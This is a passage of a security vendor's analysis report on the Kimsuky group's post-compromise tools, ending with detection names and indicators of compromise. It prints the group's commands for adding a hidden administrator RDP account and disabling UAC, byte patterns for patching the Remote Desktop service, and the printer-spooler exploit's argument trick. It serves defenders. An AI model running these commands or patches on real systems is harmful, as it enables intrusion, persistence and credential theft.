Like Beacon, it can be created in both Staged and Stageless methods.
This means that both Cobalt Strike and Metasploit can be used as penetration test tools to control the infected PC and steal information.
The Kimsuky group mainly uses the stager method.
Instead of including Meterpreter in the distributed file, a shellcode is included to download a backdoor containing Meterpreter.
To be more precise, the downloaded file is metsrv.dll, the basic backdoor of Meterpreter.
The file is created to be executed with the Reflective DLL injection method as shown below.
One characteristic of the method is that the start address (the part starting with MZ) can operate as a code.
The code that newly loads the DLL file itself into the memory through MZ is executed.
When the loading is complete (in other words, when the Reflective DLL injection method is finished), the file hands over the control to run the actual code of metsrv.dll.
Note that Meterpreter is modularized depending on its features.
Besides the default metsrv.dll, it supports various extension DLLs for privilege escalation or additional tasks.
Most of the samples collected are x64 DLL, executed by being loaded through the regsvr32.exe process.
A glance at the file shows that the strings are obfuscated like other malware of the Kimsuky group.
The following shows a routine that injects the stager shellcode to rundll32.exe.
Figure 59.
Decoding routine similar to AppleSeed, Kimsuky groups another backdoor The injected shellcode downloads Meterpreter on the memory from the 79.133.41[.
]237:4001 URL and executes it.
The following is the Meterpreter DLL downloaded from the Metasploit CC server, which is similar to the binary found in the memory area mentioned above.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 60 Figure 60.
Meterpreter DLL being downloaded The downloaded binary is the same as the source code of the open source Meterpreter.
Figure 61.
server_setup() function that is initial routine of downloaded metsrv.dll 5.1.2.
HVNC (TinyNuke) TinyNuke, also known as Nuclear Bot, is a banking malware discovered in 2016.
It includes features such as HVNC (HiddenDesktop/VNC), reverse SOCKS4 proxy, and form grabbing.
As its source code was revealed in 2017, TinyNuke is used by various attackers, and the HVNC feature is partially borrowed by other malware such as AveMaria and BitRAT.
Among the various features of TinyNuke that is being distributed, only the HVNC feature is enabled.
A difference between normal VNC and HVNC used by TinyNuke is that the user does not realize that the Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 61 PC is infected and its screen is being controlled.
The following shows the process tree when HVNC is enabled.
Figure 62.
Process tree upon using HVNC In the process tree is explorer.exe (PID: 3140), which is the child process of explorer.exe (PID: 2216).
The attacker is able to control the screen via the new explorer.exe (PID: 3140), and the GUI (Graphical user interface) of the process created while the attacker is controlling the target PC is not visible on the target PC screen.
This type of VNC remote access is called HVNC (Hidden Virtual Network Computing).
Another characteristic of the malware is that it uses the reverse VNC method.
VNC consists of a server and a client.
It installs the VNC server on the control target system, and the user who wishes to control the system remotely uses the VNC client.
It gains control of the VNC client by going through the VNC server installed on the remote control target system.
In a normal VNC environment, it attempts to access the remote control target (VNC server) via the VNC client.
However, HVNC of TinyNuke attempts to access the client from the server with the Reverse VNC feature.
This means that when HVNC of the infected system is run, the awaiting attacker accesses the designated CC server and uses the VNC client (server for HVNC) on the CC server to gain remote control.
It is assumed that this is to bypass firewalls such as Reverse Shell that blocks internal access from the outside and to support communication in a private IP environment.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 62 Figure 63.
Attackers HVNC screen Note that TinyNuke uses AVE_MARIA string for verification when establishing the HVNC communication between the server and the client.
This means that when AVE_MARIA string is sent from the HVNC client to the server, the server verifies the name, and the HVNC communication can be enabled if AVE_MARIA is correct.
Figure 64.
AVE_MARIA string used in HVNC This is identical to that of HVNC used by Kimsuky group.
However, recently there have been HVNCs using the LIGHTs BOMB string.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 63 Figure 65.
LIGHTS BOMB string used in place of AVE_MARIA 5.1.3.
TightVNC Another VNC malware distributed via AppleSeed backdoor is TightVNC.
TightVNC is an open-source VNC utility, and the attacker customizes it to use it.
TightVNC can be regarded as a normal VNC utility, but it is different in that it supports the reverse VNC feature discussed earlier.
TightVNC consists of tvnserver.exe, the server module, and tvnviewer.exe, the client module.
In a normal environment, it installs tvnserver on the remote control target and accesses the target using tvnviewer in the user environment.
In order to use the Reverse VNC feature, it executes tvnviewer as a listening mode on the client, then uses tvnserver that is installed as a service on the access target system to set the client address using controlservice and connect commands for access gain.
The Kimsuky group distributes tvnserver, and it is customized so that the Reverse VNC feature can be used in the infected environment without installing a service.
As such, simply running tvnserver will allow the attacker to access tvnviewer that operates on the CC server and gain control of the screen of the infected system.
Figure 66.
Reverse VNC communications using tvnviewer Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 64 5.1.4.
RDP Wrapper Meterpreter and VNC malware types were mainly discussed in earlier parts, yet the attacker also uses RDP Wrapper for remote control.
RDP Wrapper is an open source utility that supports the remote desktop feature.
Since Windows OS does not support remote desktop in all versions, RDP Wrapper needs to be installed to enable the feature.
The Kimsuky group installs RDP Wrapper to multiple systems infected with AppleSeed.
5.2.
RDP Related 5.2.1.
Adding RDP User Among the earlier-mentioned PIF droppers, there was the type that drop and execute malware which perform the role of adding RDP user.
It adds an account with the following credential.
-
User Account: default - Password: 1qaz2wsxEDC It adds an account by executing simple command line commands like shown below.
When the commands are over, that is, when the malware achieves its aim, it deletes itself using a batch file.
net user /add default 1qaz2wsxEDC net localgroup Administrators default /add net localgroup Remote Desktop Users default /add reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList /v default /t REG_DWORD /d 0 /f reg add HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server /v fDenyTSConnections /t REG_DWORD /d 0 /f The commands use the net command to register a user named default.
The user is included in the admin group as well as the RDP group, so it appears that the account will later be used to access RDP.
The malware then registers the added user account to the SpecialAccounts registry key so that the user cannot know that an account has been added in the login screen.
Seeing how the admin privilege is required by default to add a user account, the malware and the PIF dropper itself may have been run by other malware via run as administrator after going through the privilege escalation process instead of the user clicking it.
As one needs admin privilege to add user privilege, there have been cases where the malware with the same feature (of adding user accounts) was executed by the privilege escalation malware.
This privilege escalation malware will be discussed later in this article.
5.2.2.
RDP Patcher Only 1 RDP per PC is allowed in a normal Windows environment.
Because of this, even if the attacker knows the account credentials of the infected system, he or she cannot make an RDP connection without the user realizing it if the user is performing a task locally or a user is currently accessing the system using RDP.
This is because if the attacker attempts to connect with RDP while the current user is in the environment, the current user will be logged off.
To bypass such instances, the attacker may patch the memory of Remote Desktop Service to allow Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 65 execution of multiple remote desktop sessions.
For instance, Mimikatz supports such a feature with the ts::multirdp command.
The command finds the DLL address in the current running Remote Desktop Service (svchost.exe that loaded termsrv.dll) and searches a certain binary pattern.
As the pattern is different for each Windows version, each version has a defined search pattern.
When the defined pattern exists, the malware patches it into a new one, allowing multiple RDP to happen.
The Kimsuky group uses a type of malware that specializes in the memory patch for multiple RDP.
Like most of the malware strains used by the group, it is DLL and is run by regsvr32.exe.
The currently discovered sample is an x64 binary, so it only operates in the x64 Windows architecture.
Its search and patch patterns are similar to the source code of Mimikatz, but one difference is that it also supports the Windows XP version.
The search patterns and patterns to be patched in each Windows version are as follows: Version (x64) Search Pattern Patch Pattern Windows XP (2600) or above 0x83, 0xf8, 0x02, 0x7f 0x90, 0x90 Windows Vista ( 6000 ) 0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x75 0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0xeb Windows 7 ( 7600 ) 0x39, 0x87, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84 0xc7, 0x87, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90 Windows 8.1 ( 9600 ) 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84 0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90 Windows 10, Version 1803 ( 17134 ) 0x8b, 0x99, 0x3c, 0x06, 0x00, 0x00, 0x8b, 0xb9, 0x38, 0x06, 0x00, 0x00, 0x3b, 0xdf, 0x0f, 0x84 0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0xe9 Windows 10, Version 1809 (17763) or above 0x8b, 0x81, 0x38, 0x06, 0x00, 0x00, 0x39, 0x81, 0x3c, 0x06, 0x00, 0x00, 0x0f, 0x84 0xc7, 0x81, 0x3c, 0x06, 0x00, 0x00, 0xff, 0xff, 0xff, 0x7f, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90, 0x90 Table 28.
RDP service search and patch patterns 5.3.
Privilege Escalation 5.3.1.
UACMe The privilege escalation routine for AppleSeed that was mentioned earlier shows that if the following registry keys all have a value of 0 (meaning that UAC is disabled), the malware executes recursion with the admin privilege.
In a normal environment, the keys are not disabled because of security reasons.
-
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System ConsentPromptBehaviorAdmin - HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System PromptOnSecureDesktop After installing AppleSeed, the attacker used manually patched UACMe to disable UAC.
UACMe is an open-source project that is made public on GitHub.
It is a command line tool that incorporates known UAC Bypass Methods.
In other words, it is an open-source tool that supports dozens of UAC Bypass features.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 66 The attacker built UACMe in the form of DLL so that it can be run with regsvr32.exe like AppleSeed and used the ICMLuaUtil interface among UACMe features to bypass UAC.4 Figure 67.
UAC Bypass technique using ICMLuaUtil The technique uses a certain undocumented method that is exported from the ICMLuaUtil interface.
Like the ShellExecute() API, the method receives the pathname of the target that will be run as an argument and executes it.
Unlike the API, it executes it as admin privilege without the UAC pop-up.
As the method is not patched even in the latest Windows version, the technique is used by multiple malware strains.
For instance, as Pitou Boot Kit malware needs admin privilege to infect MBR and reboot the system, it uses CMSTPLUA to do so.
GandCrab ransomware that was distributed in the NSIS packer form in the past also used CMSTPLUA.5 - CMSTPLUA :  3E5FC7F9-9A51-4367-9063-A120244FBEC7 - ICMLuaUtil :  6EDD6D74-C007-4E75-B76A-E5740995E24C 4 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1- a5fedce07717 (Analysis Report on Privilege Escalation Using UAC Bypass) 5 https://asec.ahnlab.com/ko/1160/ (GandCrab v4.3 distributed in the Nullsoft installer form) https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1-a5fedce07717 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?i8709a7d6-561a-4df3-8bd1-a5fedce07717 https://asec.ahnlab.com/ko/1160/ Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 67 The malware executes the command line commands shown below.
When the malware is executed by being loaded through regsvr32.exe, it automatically bypasses UAC by using a certain method of ICMLuaUtil and executes the command line commands to configure registry keys that disable UAC.
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f  reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f 5.3.2.
CVE-2021-1675 Vulnerability The Kimsuky group has also been using the privilege escalation vulnerability.
The malware installed through AppleSeed escalates privilege by using the CVE-2021-1675 vulnerability.
CVE-2021-1675 is a privilege escalation vulnerability of the Windows Printer Spooler service.
It can exploit the vulnerability of the AddPrinterDriverEx() API to operate a malicious DLL designated by the attacker with escalated privilege.
AddPrinterDriverEx() is a function that installs local or remote printer drivers and connects configuration, data, and driver files.
If sending 0x8014 value to the fourth argument (dwFileCopyFlags) of the API to bypass the privilege verification of SeLoadDriverPrivilege, and entering a malicious DLL path in the DriverInfo struct of pConfigFile to call, the malicious DLL that is sent as the argument is loaded and the attacker can execute the malicious DLL with escalated privilege.
The malware used by the Kimsuky group is created based on the following GitHub open source, but there certain differences are noticeable when comparing it with the original source code.6 Figure 68.
CVE-2021-1675 vulnerability routine One noticeable difference is that while the original source code uses the EnumPrinterDrivers() API to 6 https://github.com/hlldz/CVE-2021-1675-LPE/ https://github.com/hlldz/CVE-2021-1675-LPE/ Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 68 pinpoint the location of the printer driver file unidrv.dll in the infected system, this malware contains the path shown below, hard-coded.
The path is also found on the current latest version of Windows 10.0.19043.1348, but it might be different depending on the OS version.
It seems that the attacker had already collected the information of the target PC in advance and developed the malware based on the information.
-
Hard-coded Path: c:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_c62e9f8067f98247\Amd64\UNID RV.DLL The DLL registered through the malware was collected with the name lala.dll, which disables UAC and adds accounts.
The aforementioned UACMe uses UAC Bypass to configure the following registry and disable UAC with escalated privilege, and lala.dll also performs the same feature.
Registry Path Settings Value (Description) HKLM\SoftWare\Microsoft\Windows\CurrentVersion\ Policies\System\ConsentPromptBehaviorAdmin 0 (Not verified upon admin privilege escalation) HKLM\SoftWare\Microsoft\Windows\CurrentVersion\ Policies\System\PromptOnSecureDesktop 0 (Not switched to secure desktop upon admin privilege escalation) Table 29.
Registry value change related to admin privilege escalation One difference the malware has with UACMe is that it additionally adds an RDP user account after privilege escalation.
The account added is the same as the one from the malware that adds the user account mentioned earlier.
Yet while the sample created through the PIF dropper uses the command line commands, the current one sets the registry using the API.
Figure 69.
Adding user account using API Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 69 One thing to note is that the DLL has the following PDB path.
It seems that the Kimsuky group is using the CVE-2021-34527 (PrintNightmare) vulnerability to launch their attacks, with the sample probably being used for attacks exploiting the vulnerability.
-
PDB Path: E:\Peacock\exploit\Privilege Escalation\night dll add new admin user\CVE-2021-34527- master\nightmare-dll\x64\Release\nightmare.pdb 5.4.
Collecting Information 5.4.1.
Mimikatz The reason the attacker escalates privilege by using tools such as UACMe is to take over the entire domain via lateral movement in the internal infrastructure.
To move laterally within the system, one needs to collect account credentials.
Mimikatz is one of the main tools used for such a purpose as it needs to be run as administrator to steal account credentials within the system.7  The attacker additionally installs Mimikatz, or Powerkatz, to be precise.
Figure 70.
Command options upon running Powerkatz 7 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d- 0e471d888923 (Analysis Report of the Internal Propagation Technique Using Mimikatz) https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d-0e471d888923 https://atip.ahnlab.com/ti/contents/issue-report/malware-analysis?icc8cf212-f3ca-4134-812d-0e471d888923 Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 70 5.4.2.
Collecting Chrome Account Credentials While the following malware is built incorrectly and does not operate normally, it can be used to steal information.
Like most of the malware strains used by the group, it is DLL and is run by regsvr32.exe.
It steals cookie information and user account credentials stored in the Chrome web browser and saves in a text form in the following path.
-
Save Path for Information Stolen from Chrome: C:\ProgramData\Adobe\mui.db The information that is parsed and decrypted is saved as domain, name, path, and value if it is a cookie.
For account credentials, they are saved as url, user, and pass.
If the malware works normally, the saved results are likely to be stolen by the backdoor such as AppleSeed or PebbleDash and sent to the CC server.
Figure 71.
Chrome web browser cookies and account credentials saved in mui.db file 5.4.3.
Keylogger Keylogger is a DLL-form malware that is also run by regsvr32.exe.
As seen below, the malware was collected from inside the AhnLab folder of the ProgramData folder, and it existed as a file named install.cfg.
-
Path for Collecting Keylogger Malware: ALLUSERSPROFILE\ahnlab\install.cfg The attacker also disguised results and settings files below as AhnLab product-related settings files by creating them with names such as ahnlab.cfg and uninstall.cfg.
Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 71 When Keylogger is executed for the first time, it checks for the current privilege.
It injects itself as DLL into winlogon.exe in case of admin privilege and explorer.exe if not.
Upon being run, it creates and scans the following mutex to prevent concurrent execution.
-
Mutex: windows certs server [pid] It checks the following path for the existence of uninstall.cfg.
If the file exists, keylogging is stopped.
The malware does not directly communicate with the CC server and only performs keylogging features.
As such, the attacker may send a command to stop keylogging through backdoor such as AppleSeed or PebbleDash, creating a file in the path shown below.
-
Keylogging Command Data File: ALLUSERSPROFILE\AhnLab\uninstall.cfg Keylogger malware uses GetAsyncKeyState() and GetKeyState() functions to steal the current users keyboard input information and saves it in a temporary file of the TEMP path.
Keylogger then periodically copies the keylogging data saved in the TEMP path to the path shown below.
It appears that the saved results are stolen by the backdoor and sent to the CC server.
-
Keylogging Data File: ALLUSERSPROFILE\AhnLab\ahnlab.cfg Figure 72.
Keylogging data saved in ahnlab.cfg file 5.5.
Others 5.5.1.
Proxy Malware AppleSeed also creates Proxy malware.
The malware has the PDB path named localproxy as shown below.
-
PDB Path: D:\Troy\FProxy\output\x64\localproxy.pdb As its name suggests, the malware has a proxy feature and receives 2 IP addresses and port numbers Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 72 from the command line argument to relay them.
You can see from the routine below that it simply sends the buffer it has received back to the remote address without going through any conversion processes.
-
Command Line Argument: help:localproxy.exe RemoteIP RemotePort InternelIP InternelPort Figure 73.
Proxy Routine Currently, no command line logs can be seen via the ASD infrastructure, but the ASEC team was able to find the history of the malware communicating with the URL shown below.
It is identical to the CC server address and the port number used in Meterpreter.
While the proxy itself can be used in various forms, it appears that it was used to relay CC communications of Meterpreter.
-
Remote Access History: 27.255.81[.
]109:3015 AhnLabs Response The alias and the engine version information of AhnLab products are shown below.
Even if the threat groups activities were recently discovered, AhnLab products may have detected related malware in the past.
The ASEC team is tracking the activities of the group and is responding to related malware types, but there may be unidentified alterations that are yet to be detected.
Backdoor/JS.Akdoor (2021.04.23.00) Backdoor/Win.
Agent.
R421553 (2021.10.14.03) Backdoor/Win.
Akdoor.
C4715493 (2021.10.22.02) Backdoor/Win.
Akdoor.
C4715520 (2021.10.22.02) Backdoor/Win.
Akdoor.
R417157 (2021.04.23.00) Backdoor/Win.
AppleSeed.
C4635545 (2021.10.14.03) Backdoor/Win.
AppleSeed.
C4646719 (2021.10.14.02) Backdoor/Win.
AppleSeed.
C4646724 (2021.10.14.02) Backdoor/Win.
AppleSeed.
C4646725 (2021.10.14.02) Backdoor/Win.
AppleSeed.
C4699440 (2021.10.14.03) Backdoor/Win.
AppleSeed.
C4702267 (2021.10.15.01) Backdoor/Win.
AppleSeed.
C4702268 (2021.10.15.01) Backdoor/Win.
AppleSeed.
C4705211 (2021.10.18.03) Backdoor/Win.
AppleSeed.
C4713932 (2021.10.21.00) Backdoor/Win.
AppleSeed.
C4719084 (2021.10.24.01) Backdoor/Win.
AppleSeed.
R335261 (2021.10.15.01) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 73 Backdoor/Win.
AppleSeed.
R335738 (2020.05.09.00) Backdoor/Win.
AppleSeed.
R336437 (2020.05.14.00) Backdoor/Win.
AppleSeed.
R441519 (2021.10.14.03) Backdoor/Win.
AppleSeed.
R444289 (2021.10.14.03) Backdoor/Win.
AppleSeed.
R445451 (2021.10.15.01) Backdoor/Win.
AppleSeed.
R445453 (2021.10.15.01) Backdoor/Win.
AppleSeed.
R445842 (2021.10.18.03) Backdoor/Win.
Keylogger.
R419909 (2021.10.14.03) Backdoor/Win.
Meterpreter.
C4705209 (2021.10.18.03) Backdoor/Win.
VNC.C4589952 (2021.10.14.03) Backdoor/Win32.Agent.
R338775 (2020.06.01.03) Backdoor/Win32.Kimsuky.
R341619 (2020.06.25.03) Backdoor/Win64.Akdoor.
C4148267 (2020.07.01.04) Backdoor/Win64.Akdoor.
C4176420 (2020.08.05.05) Backdoor/Win64.Akdoor.
C4250525 (2020.12.04.04) Backdoor/Win64.Akdoor.
C4251494 (2020.12.08.03) Backdoor/Win64.Akdoor.
R179345 (2016.04.22.05) Backdoor/Win64.Akdoor.
R181647 (2016.05.20.00) Backdoor/Win64.Akdoor.
R197899 (2017.04.03.03) Backdoor/Win64.Akdoor.
R357381 (2020.12.08.06) Backdoor/Win64.Keylogger.
R353447 (2020.10.20.04) Downloader/Win.
Agent.
C4510706 (2021.10.15.00) Downloader/Win64.Agent.
C4318031 (2021.02.01.04) Dropper/JS.Agent (2021.08.26.03) Dropper/JS.Akdoor (2021.10.07.00) Dropper/JS.Generic (2021.05.08.00) Dropper/Win.
Agent.
C4520969 (2021.10.15.00) Dropper/Win.
Akdoor.
C4656487 (2021.09.28.00) Dropper/Win.
AppleSeed.
C4699439 (2021.10.14.03) Dropper/Win32.Infostealer.
R332952 (2020.04.16.08) Dropper/Win64.Akdoor.
R194398 (2017.01.26.00) Dropper/WSF.Agent (2021.05.13.02) Exploit/Win.
CVE-2021-1675.C4584875 (2021.08.09.03) Exploit/Win.
CVE-2021-34527.R436236 (2021.08.09.03) Malware/Gen.
Reputation.
C4269991 (2020.12.23.04) Trojan/Win.
Agent.
C4382841 (2021.10.14.03) Trojan/Win.
Agent.
C4457973 (2021.10.15.01) Trojan/Win.
Agent.
C4520953 (2021.10.14.03) Trojan/Win.
Agent.
C4522294 (2021.06.11.02) Trojan/Win.
Agent.
C4524918 (2021.10.14.03) Trojan/Win.
Agent.
C4705973 (2021.10.19.00) Trojan/Win.
Agent.
C4714244 (2021.10.21.03) Trojan/Win.
Agent.
R416026 (2021.10.14.03) Trojan/Win.
Agent.
R420433 (2021.10.14.03) Trojan/Win.
Agent.
R422617 (2021.10.14.03) Trojan/Win.
Agent.
R425110 (2021.10.14.03) Trojan/Win.
Agent.
R436488 (2021.10.14.03) Trojan/Win.
Akdoor.
C4522181 (2021.10.14.03) Trojan/Win.
Akdoor.
C4522184 (2021.06.11.00) Trojan/Win.
Akdoor.
C4589941 (2021.08.13.03) Trojan/Win.
Akdoor.
C4596140 (2021.08.18.00) Trojan/Win.
Akdoor.
C4700226 (2021.10.15.00) Trojan/Win.
Akdoor.
C4728343 (2021.10.27.00) Trojan/Win.
Akdoor.
R425112 (2021.10.14.03) Trojan/Win.
Akdoor.
R426485 (2021.10.15.00) Trojan/Win.
Akdoor.
R436752 (2021.08.13.03) Trojan/Win.
Akdoor.
R445441 (2021.10.15.01) Trojan/Win.
Akdoor.
R446906 (2021.10.24.02) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 74 Trojan/Win.
Appleseed.
R428102 (2021.10.15.01) Trojan/Win.
Generic.
C4609881 (2021.08.27.02) Trojan/Win.
HVNC.C4635546 (2021.10.14.03) Trojan/Win.
Keylogger.
C4719085 (2021.10.24.01) Trojan/Win.
KeyLogger.
R422003 (2021.10.14.03) Trojan/Win.
LightShell.
R435857 (2021.08.07.00) Trojan/Win.
LightShell.
R436719 (2021.08.13.02) Trojan/Win.
LightShell.
R439086 (2021.10.14.03) Trojan/Win.
LightShell.
R439839 (2021.09.02.03) Trojan/Win.
LightShell.
R445352 (2021.10.15.00) Trojan/Win.
Meterpreter.
R430231 (2021.10.14.03) Trojan/Win.
Mimikatz.
C4521006 (2021.06.09.02) Trojan/Win.
Mimikatz.
C4717867 (2021.10.23.01) Trojan/Win.
NukeSped.
R415643 (2021.10.14.03) Trojan/Win.
Proxicon.
R436042 (2021.08.09.03) Trojan/Win.
RDPatcher.
R445454 (2021.10.15.01) Trojan/Win.
Stealer.
C4768269 (2021.11.12.03) Trojan/Win.
Tinukebot.
R415647 (2021.10.14.03) Trojan/Win.
TinyNuke.
C4633235 (2021.10.14.03) Trojan/Win.
TinyNuke.
C4702254 (2021.10.15.01) Trojan/Win.
TinyNuke.
R435917 (2021.10.14.03) Trojan/Win.
VNC.C4318018 (2021.10.14.03) Trojan/Win.
VNC.C4589940 (2021.10.14.03) Trojan/Win.
VNC.C4633124 (2021.09.16.00) Trojan/Win.
VNC.R435919 (2021.10.14.03) Trojan/Win.
VNC.R436747 (2021.10.14.03) Trojan/Win32.Agent.
C4003499 (2020.02.29.06) Trojan/Win32.Agent.
C4179369 (2020.08.12.03) Trojan/Win32.Agent.
R344880 (2020.07.16.00) Trojan/Win32.Agent.
R350149 (2020.09.03.08) Trojan/Win32.Agent.
R353325 (2020.10.17.09) Trojan/Win32.Agent.
R357752 (2020.12.19.00) Trojan/Win32.Akdoor.
C2030137 (2017.07.06.02) Trojan/Win32.Akdoor.
R183070 (2016.06.09.07) Trojan/Win32.Akdoor.
R183787 (2016.07.22.02) Trojan/Win32.Akdoor.
R333041 (2020.04.17.00) Trojan/Win32.Infostealer.
R338043 (2020.05.26.02) Trojan/Win32.MalPacked.
C4196972 (2020.09.17.00) Trojan/Win32.Rdpwrap.
R232017 (2018.11.26.07) Trojan/Win64.Agent.
C4318029 (2021.02.01.04) Trojan/Win64.Agent.
R337075 (2020.05.20.10) Trojan/Win64.Agent.
R337893 (2020.05.25.03) Trojan/Win64.Agent.
R338576 (2020.05.29.04) Trojan/Win64.Agent.
R350150 (2020.09.03.09) Trojan/Win64.Agent.
R354559 (2020.11.01.00) Trojan/Win64.Agent.
R367595 (2021.02.23.00) Trojan/Win64.Akdoor.
R354720 (2020.11.04.00) Trojan/Win64.Akdoor.
R355472 (2020.11.12.04) Trojan/Win64.Loader.
C4019677 (2020.03.18.00) Trojan/WSF.Runner (2020.11.12.04) Unwanted/Win.
Rdpwrap.
C2410573 (2021.04.20.00) Unwanted/Win32.Rdpwrap.
C2632304 (2018.07.26.01) Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 75 Conclusion Kimsuky group is continuously launching social engineering attacks, such as spear phishing, against companies, public institutions, and individual users.
Recent cases have shown frequent uses of malware AppleSeed and PebbleDash.
Such backdoors can stay in the system, receive commands from the attacker, and perform various malicious tasks.
As various malware strains for remote control and collecting information are additionally installed, companies and users targeted by the Kimsuky group are at risk of having key information within the system stolen.
When there is a suspicious-looking email in the inbox, users must refrain from opening the attached files within the email.
Also, anti-malware solutions, such as AhnLab V3, must be regularly updated to the latest version to prevent malware infections.
IOC (Indicators of Compromise) Some IOCs were referred to third-party analysis reports.
Thus, some were not verified as the sample could not be confirmed.
The content may be updated without notice if new information is found.
File Path and Name The file paths and names used from the threat group are listed below.
Some malware and tool file may have the same name as that of normal files.
Script image_confirm_v2.wsf Biden Administration Security Figures.wsf Plan for Establishing Control Tower in North Korea Denuclearization.wsf 2021  Missions Service Survey.hwp.js Korean-Japan Relations.js News 2021-05-07.pdf jse PIF Dropper JR_210604_R1_F_Pf.pif  -  (Certain strings blurred as ) Colon Cancer Case.pif Progress Check_211013.pdf file 211014-915mm(0deg).h5.pif 210927 Covid-19 Response (Boryeong-Taean 1)_merged_edited.
PIF 1.
2021 Business Plan (Supplemented by referencing materials from Installation Agency) - 210316-1.pif ROK-US summit (May 21st) Reference Material (edited).pif 2021  Work Report Edited.pif Downloader ALLUSERSPROFILE\Intel\Driverdriver.cfg ALLUSERSPROFILE\Intel\driver.cfg APPDATA\Intel\Driverdriver.cfg AppleSeed Installation Path ALLUSERSPROFILE\Software\Ahnlab\Service\AutoService.dll ALLUSERSPROFILE\Software\ControlSet\Service\ServiceScheduler.dll ALLUSERSPROFILE\Software\Defender\Windows\Update\AutoUpdate.dll ALLUSERSPROFILE\Software\ESTsoft\Common\ESTCommon.dll Analysis Report of Kimsuky Groups APT Attacks (AppleSeed, PebbleDash) 76 ALLUSERSPROFILE\Software\KakaoTalk\KaoUpdate.ini ALLUSERSPROFILE\Software\Microsoft\AvastAntiVirus\AvastUpdate.dll ALLUSERSPROFILE\Software\Microsoft\Avg\AvgSkin.dll ALLUSERSPROFILE\Software\Microsoft\Network\NetworkService.dll ALLUSERSPROFILE\Software\Microsoft\Printer\PrinterService.dll ALLUSERSPROFILE\Software\Microsoft\Service\TaskScheduler.dll ALLUSERSPROFILE\Software\Microsoft\Windows\AutoDefender\UpdateDB.dll ALLUSERSPROFILE\Software\Microsoft\Windows\AutoPatch\patch.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Chrome\GoogleUpdate.dll ALLUSERSPROFILE\Software\Microsoft\WIndows\Defender\AutoCheck.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Defender\AutoUpdate.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Defender\update.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Explorer\FontChecker.dll ALLUSERSPROFILE\Software\Microsoft\Windows\FontChecker.dll ALLUSERSPROFILE\Software\Microsoft\Windows\MDF\WDFSync\WDFSync.dll ALLUSERSPROFILE\Software\Microsoft\Windows\MetaSec\MetaSecurity.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Patch\patch.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Patch\plugin.dll ALLUSERSPROFILE\Software\Microsoft\Windows\Secrity\AutoCheck.dll ALLUSERSPROFILE\Software\Office\Update.dll APPDATA\ESTsoft\AlLUpdat\AlCommon.dll APPDATA\ESTsoft\AlLUpdate\AlCommon.dll APPDATA\ESTsoft\Common\ESTCommon.dll APPDATA\ESTsoft\Common\ESTUpdate.exe APPDATA\ESTsoft\Common\ko-kr.dll APPDATA\ESTsoft\updat\ESTCommon.dll APPDATA\Microsoft\Windows\Defender\AutoUpdate.dll APPDATA\Microsoft\Windows\Defender\patch.dll Meterpreter ALLUSERSPROFILE\edge\mtp.db ALLUSERSPROFILE\Intel\1060\update1060.cfg ALLUSERSPROFILE\intel\bin\update.cfg ALLUSERSPROFILE\m.db ALLUSERSPROFILE\ma.dat ALLUSERSPROFILE\ma.db ALLUSERSPROFILE\msedge\mtp.db ALLUSERSPROFILE\mt79.dat ALLUSERSPROFILE\mtp.dat ALLUSERSPROFILE\mtp.db ALLUSERSPROFILE\s\mtp.db ALLUSERSPROFILE\update.db SystemDrive\mav.db SystemDrive\netclient\k.txt SystemDrive\netclient\km.xml HVNC ALLUSERSPROFILE\mac\hvnc.db ALLUSERSPROFILE\s\hvnc.db 